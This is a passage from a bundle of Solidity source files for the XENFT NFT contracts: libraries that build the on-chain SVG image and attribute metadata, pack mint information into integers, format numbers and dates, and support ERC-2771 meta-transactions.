.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n// MintInfo encoded as:\n// term (uint16)\n// | maturityTs (uint64)\n// | rank (uint128)\n// | amp (uint16)\n// | eaa (uint16)\n// | class (uint8):\n// [7] isApex\n// [6] isLimited\n// [0-5] powerGroupIdx\n// | redeemed (uint8)\nlibrary MintInfo {\n /**\n @dev helper to convert Bool to U256 type and make compiler happy\n */\n function toU256(bool x) internal pure returns (uint256 r) {\n assembly {\n r := x\n }\n }\n\n /**\n @dev encodes MintInfo record from its props\n */\n function encodeMintInfo(\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class_,\n bool redeemed\n ) public pure returns (uint256 info) {\n info = info | (toU256(redeemed) & 0xFF);\n info = info | ((class_ & 0xFF) << 8);\n info = info | ((eaa & 0xFFFF) << 16);\n info = info | ((amp & 0xFFFF) << 32);\n info = info | ((rank & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF) << 48);\n info = info | ((maturityTs & 0xFFFFFFFFFFFFFFFF) << 176);\n info = info | ((term & 0xFFFF) << 240);\n }\n\n /**\n @dev decodes MintInfo record and extracts all of its props\n */\n function decodeMintInfo(uint256 info)\n public\n pure\n returns (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 class,\n bool apex,\n bool limited,\n bool redeemed\n )\n {\n term = uint16(info >> 240);\n maturityTs = uint64(info >> 176);\n rank = uint128(info >> 48);\n amp = uint16(info >> 32);\n eaa = uint16(info >> 16);\n class = uint8(info >> 8) & 0x3F;\n apex = (uint8(info >> 8) & 0x80) > 0;\n limited = (uint8(info >> 8) & 0x40) > 0;\n redeemed = uint8(info) == 1;\n }\n\n /**\n @dev extracts `term` prop from encoded MintInfo\n */\n function getTerm(uint256 info) public pure returns (uint256 term) {\n (term, , , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `maturityTs` prop from encoded MintInfo\n */\n function getMaturityTs(uint256 info) public pure returns (uint256 maturityTs) {\n (, maturityTs, , , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `rank` prop from encoded MintInfo\n */\n function getRank(uint256 info) public pure returns (uint256 rank) {\n (, , rank, , , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `AMP` prop from encoded MintInfo\n */\n function getAMP(uint256 info) public pure returns (uint256 amp) {\n (, , , amp, , , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `EAA` prop from encoded MintInfo\n */\n function getEAA(uint256 info) public pure returns (uint256 eaa) {\n (, , , , eaa, , , , ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getClass(uint256 info)\n public\n pure\n returns (\n uint256 class_,\n bool apex,\n bool limited\n )\n {\n (, , , , , class_, apex, limited, ) = decodeMintInfo(info);\n }\n\n /**\n @dev extracts `redeemed` prop from encoded MintInfo\n */\n function getRedeemed(uint256 info) public pure returns (bool redeemed) {\n (, , , , , , , , redeemed) = decodeMintInfo(info);\n }\n}\n"
},
"/contracts/libs/Metadata.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./MintInfo.sol\";\nimport \"./DateTime.sol\";\nimport \"./FormattedStrings.sol\";\nimport \"./SVG.sol\";\n\n/**\n @dev Library contains methods to generate on-chain NFT metadata\n*/\nlibrary Metadata {\n using DateTime for uint256;\n using MintInfo for uint256;\n using Strings for uint256;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n uint256 public constant MAX_POWER = 52_500;\n\n uint256 public constant COLORS_FULL_SCALE = 300;\n uint256 public constant SPECIAL_LUMINOSITY = 45;\n uint256 public constant BASE_SATURATION = 75;\n uint256 public constant BASE_LUMINOSITY = 38;\n uint256 public constant GROUP_SATURATION = 100;\n uint256 public constant GROUP_LUMINOSITY = 50;\n uint256 public constant DEFAULT_OPACITY = 1;\n uint256 public constant NO_COLOR = 360;\n\n // PRIVATE HELPERS\n\n // The following pure methods returning arrays are workaround to use array constants,\n // not yet available in Solidity\n\n function _powerGroupColors() private pure returns (uint256[8] memory) {\n return [uint256(360), 1, 30, 60, 120, 180, 240, 300];\n }\n\n function _huesApex() private pure returns (uint256[3] memory) {\n return [uint256(169), 210, 305];\n }\n\n function _huesLimited() private pure returns (uint256[3] memory) {\n return [uint256(263), 0, 42];\n }\n\n function _stopOffsets() private pure returns (uint256[3] memory) {\n return [uint256(10), 50, 90];\n }\n\n function _gradColorsRegular() private pure returns (uint256[4] memory) {\n return [uint256(150), 150, 20, 20];\n }\n\n function _gradColorsBlack() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 20, 20];\n }\n\n function _gradColorsSpecial() private pure returns (uint256[4] memory) {\n return [uint256(100), 100, 0, 0];\n }\n\n /**\n @dev private helper to determine XENFT group index by its power\n (power = count of VMUs * mint term in days)\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev private helper to generate SVG gradients for special XENFT categories\n */\n function _specialClassGradients(bool rare) private pure returns (SVG.Gradient[] memory gradients) {\n uint256[3] memory specialColors = rare ? _huesApex() : _huesLimited();\n SVG.Color[] memory colors = new SVG.Color[](3);\n for (uint256 i = 0; i < colors.length; i++) {\n colors[i] = SVG.Color({\n h: specialColors[i],\n s: BASE_SATURATION,\n l: SPECIAL_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[i]\n });\n }\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({colors: colors, id: 0, coords: _gradColorsSpecial()});\n }\n\n /**\n @dev private helper to generate SVG gradients for common XENFT category\n */\n function _commonCategoryGradients(uint256 vmus, uint256 term)\n private\n pure\n returns (SVG.Gradient[] memory gradients)\n {\n SVG.Color[] memory colors = new SVG.Color[](2);\n uint256 powerHue = term * vmus > MAX_POWER ? NO_COLOR : 1 + (term * vmus * COLORS_FULL_SCALE) / MAX_POWER;\n // group\n uint256 groupHue = _powerGroupColors()[_powerGroup(vmus, term) > 7 ? 7 : _powerGroup(vmus, term)];\n colors[0] = SVG.Color({\n h: groupHue,\n s: groupHue == NO_COLOR ? 0 : GROUP_SATURATION,\n l: groupHue == NO_COLOR ? 0 : GROUP_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[0]\n });\n // power\n colors[1] = SVG.Color({\n h: powerHue,\n s: powerHue == NO_COLOR ? 0 : BASE_SATURATION,\n l: powerHue == NO_COLOR ? 0 : BASE_LUMINOSITY,\n a: DEFAULT_OPACITY,\n off: _stopOffsets()[2]\n });\n gradients = new SVG.Gradient[](1);\n gradients[0] = SVG.Gradient({\n colors: colors,\n id: 0,\n coords: groupHue == NO_COLOR ? _gradColorsBlack() : _gradColorsRegular()\n });\n }\n\n // PUBLIC INTERFACE\n\n /**\n @dev public interface to generate SVG image based on XENFT params\n */\n function svgData(\n uint256 tokenId,\n uint256 count,\n uint256 info,\n address token,\n uint256 burned\n ) external view returns (bytes memory) {\n string memory symbol = IERC20Metadata(token).symbol();\n (uint256 classIds, bool rare, bool limited) = info.getClass();\n SVG.SvgParams memory params = SVG.SvgParams({\n symbol: symbol,\n xenAddress: token,\n tokenId: tokenId,\n term: info.getTerm(),\n rank: info.getRank(),\n count: count,\n maturityTs: info.getMaturityTs(),\n amp: info.getAMP(),\n eaa: info.getEAA(),\n xenBurned: burned,\n series: StringData.getClassName(StringData.CLASSES, classIds),\n redeemed: info.getRedeemed()\n });\n uint256 quoteIdx = uint256(keccak256(abi.encode(info))) % StringData.QUOTES_COUNT;\n if (rare || limited) {\n return SVG.image(params, _specialClassGradients(rare), quoteIdx, rare, limited);\n }\n return SVG.image(params, _commonCategoryGradients(count, info.getTerm()), quoteIdx, rare, limited);\n }\n\n function _attr1(\n uint256 count,\n uint256 rank,\n uint256 class_\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Class\",\"value\":\"',\n StringData.getClassName(StringData.CLASSES, class_),\n '\"},'\n '{\"trait_type\":\"VMUs\",\"value\":\"',\n count.toString(),\n '\"},'\n '{\"trait_type\":\"cRank\",\"value\":\"',\n rank.toString(),\n '\"},'\n );\n }\n\n function _attr2(\n uint256 amp,\n uint256 eaa,\n uint256 maturityTs\n ) private pure returns (bytes memory) {\n (uint256 year, string memory month) = DateTime.yearAndMonth(maturityTs);\n return\n abi.encodePacked(\n '{\"trait_type\":\"AMP\",\"value\":\"',\n amp.toString(),\n '\"},'\n '{\"trait_type\":\"EAA (%)\",\"value\":\"',\n (eaa / 10).toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Year\",\"value\":\"',\n year.toString(),\n '\"},'\n '{\"trait_type\":\"Maturity Month\",\"value\":\"',\n month,\n '\"},'\n );\n }\n\n function _attr3(\n uint256 maturityTs,\n uint256 term,\n uint256 burned\n ) private pure returns (bytes memory) {\n return\n abi.encodePacked(\n '{\"trait_type\":\"Maturity DateTime\",\"value\":\"',\n maturityTs.asString(),\n '\"},'\n '{\"trait_type\":\"Term\",\"value\":\"',\n term.toString(),\n '\"},'\n '{\"trait_type\":\"XEN Burned\",\"value\":\"',\n (burned / 10**18).toString(),\n '\"},'\n );\n }\n\n function _attr4(bool apex, bool limited) private pure returns (bytes memory) {\n string memory category = \"Collector\";\n if (limited) category = \"Limited\";\n if (apex) category = \"Apex\";\n return abi.encodePacked('{\"trait_type\":\"Category\",\"value\":\"', category, '\"}');\n }\n\n /**\n @dev private helper to construct attributes portion of NFT metadata\n */\n function attributes(\n uint256 count,\n uint256 burned,\n uint256 mintInfo\n ) external pure returns (bytes memory) {\n (\n uint256 term,\n uint256 maturityTs,\n uint256 rank,\n uint256 amp,\n uint256 eaa,\n uint256 series,\n bool apex,\n bool limited,\n\n ) = MintInfo.decodeMintInfo(mintInfo);\n return\n abi.encodePacked(\n \"[\",\n _attr1(count, rank, series),\n _attr2(amp, eaa, maturityTs),\n _attr3(maturityTs, term, burned),\n _attr4(apex, limited),\n \"]\"\n );\n }\n\n function formattedString(uint256 n) public pure returns (string memory) {\n return FormattedStrings.toFormattedString(n);\n }\n}\n"
},
"/contracts/libs/FormattedStrings.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nlibrary FormattedStrings {\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n Base on OpenZeppelin `toString` method from `String` library\n */\n function toFormattedString(uint256 value) internal pure returns (string memory) {\n // Inspired by OraclizeAPI's implementation - MIT licence\n // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol\n\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n uint256 pos;\n uint256 comas = digits / 3;\n digits = digits + (digits % 3 == 0 ? comas - 1 : comas);\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n if (pos == 3) {\n buffer[digits] = \",\";\n pos = 0;\n } else {\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n pos++;\n }\n }\n return string(buffer);\n }\n}\n"
},
"/contracts/libs/ERC2771Context.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (metatx/ERC2771Context.sol)\n\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\";\n\n/**\n * @dev Context variant with ERC2771 support.\n */\nabstract contract ERC2771Context is Context {\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n // one-time settable var\n address internal _trustedForwarder;\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor(address trustedForwarder) {\n _trustedForwarder = trustedForwarder;\n }\n\n function isTrustedForwarder(address forwarder) public view virtual returns (bool) {\n return forwarder == _trustedForwarder;\n }\n\n function _msgSender() internal view virtual override returns (address sender) {\n if (isTrustedForwarder(msg.sender)) {\n // The assembly code is more direct than the Solidity version using `abi.decode`.\n /// @solidity memory-safe-assembly\n assembly {\n sender := shr(96, calldataload(sub(calldatasize(), 20)))\n }\n } else {\n return super._msgSender();\n }\n }\n\n function _msgData() internal view virtual override returns (bytes calldata) {\n if (isTrustedForwarder(msg.sender)) {\n return msg.data[:msg.data.length - 20];\n } else {\n return super._msgData();\n }\n }\n}\n"
},
"/contracts/libs/DateTime.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./BokkyPooBahsDateTimeLibrary.sol\";\n\n/*\n @dev Library to convert epoch timestamp to a human-readable Date-Time string\n @dependency uses BokkyPooBahsDateTimeLibrary.sol library internally\n */\nlibrary DateTime {\n using Strings for uint256;\n\n bytes public constant MONTHS = bytes(\"JanFebMarAprMayJunJulAugSepOctNovDec\");\n\n /**\n * @dev returns month as short (3-letter) string\n */\n function monthAsString(uint256 idx) internal pure returns (string memory) {\n require(idx > 0, \"bad idx\");\n bytes memory str = new bytes(3);\n uint256 offset = (idx - 1) * 3;\n str[0] = bytes1(MONTHS[offset]);\n str[1] = bytes1(MONTHS[offset + 1]);\n str[2] = bytes1(MONTHS[offset + 2]);\n return string(str);\n }\n\n /**\n * @dev returns string representation of number left-padded for 2 symbols\n */\n function asPaddedString(uint256 n) internal pure returns (string memory) {\n if (n == 0) return \"00\";\n if (n < 10) return string.concat(\"0\", n.toString());\n return n.toString();\n }\n\n /**\n * @dev returns string of format 'Jan 01, 2022 18:00 UTC' for a given timestamp\n */\n function asString(uint256 ts) external pure returns (string memory) {\n (uint256 year, uint256 month, uint256 day, uint256 hour, uint256 minute, ) = BokkyPooBahsDateTimeLibrary\n .timestampToDateTime(ts);\n return\n string(\n abi.encodePacked(\n monthAsString(month),\n \" \",\n day.toString(),\n \", \",\n year.toString(),\n \" \",\n asPaddedString(hour),\n \":\",\n asPaddedString(minute),\n \" UTC\"\n )\n );\n }\n\n /**\n * @dev returns (year, month as string) components of a date by timestamp\n */\n function yearAndMonth(uint256 ts) external pure returns (uint256, string memory) {\n (uint256 year, uint256 month, , , , ) = BokkyPooBahsDateTimeLibrary.timestampToDateTime(ts);\n return (year, monthAsString(month));\n }\n}\n"
},
"/contracts/libs/BokkyPooBahsDateTimeLibrary.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n// ----------------------------------------------------------------------------\n// BokkyPooBah's DateTime Library v1.01\n//\n// A gas-efficient Solidity date and time library\n//\n// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary\n//\n// Tested date range 1970/01/01 to 2345/12/31\n//\n// Conventions:\n// Unit | Range | Notes\n// :-------- |:-------------:|:-----\n// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC\n// year | 1970 ... 2345 |\n// month | 1 ... 12 |\n// day | 1 ... 31 |\n// hour | 0 ... 23 |\n// minute | 0 ... 59 |\n// second | 0 ... 59 |\n// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday\n//\n//\n// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.\n// ----------------------------------------------------------------------------\n\nlibrary BokkyPooBahsDateTimeLibrary {\n uint256 constant _SECONDS_PER_DAY = 24 * 60 * 60;\n uint256 constant _SECONDS_PER_HOUR = 60 * 60;\n uint256 constant _SECONDS_PER_MINUTE = 60;\n int256 constant _OFFSET19700101 = 2440588;\n\n uint256 constant _DOW_FRI = 5;\n uint256 constant _DOW_SAT = 6;\n\n // ------------------------------------------------------------------------\n // Calculate the number of days from 1970/01/01 to year/month/day using\n // the date conversion algorithm from\n // https://aa.usno.navy.mil/faq/JD_formula.html\n // and subtracting the offset 2440588 so that 1970/01/01 is day 0\n //\n // days = day\n // - 32075\n // + 1461 * (year + 4800 + (month - 14) / 12) / 4\n // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12\n // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4\n // - offset\n // ------------------------------------------------------------------------\n function _daysFromDate(\n uint256 year,\n uint256 month,\n uint256 day\n ) private pure returns (uint256 _days) {\n require(year >= 1970);\n int256 _year = int256(year);\n int256 _month = int256(month);\n int256 _day = int256(day);\n\n int256 __days = _day -\n 32075 +\n (1461 * (_year + 4800 + (_month - 14) / 12)) /\n 4 +\n (367 * (_month - 2 - ((_month - 14) / 12) * 12)) /\n 12 -\n (3 * ((_year + 4900 + (_month - 14) / 12) / 100)) /\n 4 -\n _OFFSET19700101;\n\n _days = uint256(__days);\n }\n\n // ------------------------------------------------------------------------\n // Calculate year/month/day from the number of days since 1970/01/01 using\n // the date conversion algorithm from\n // http://aa.usno.navy.mil/faq/docs/JD_Formula.php\n // and adding the offset 2440588 so that 1970/01/01 is day 0\n //\n // int L = days + 68569 + offset\n // int N = 4 * L / 146097\n // L = L - (146097 * N + 3) / 4\n // year = 4000 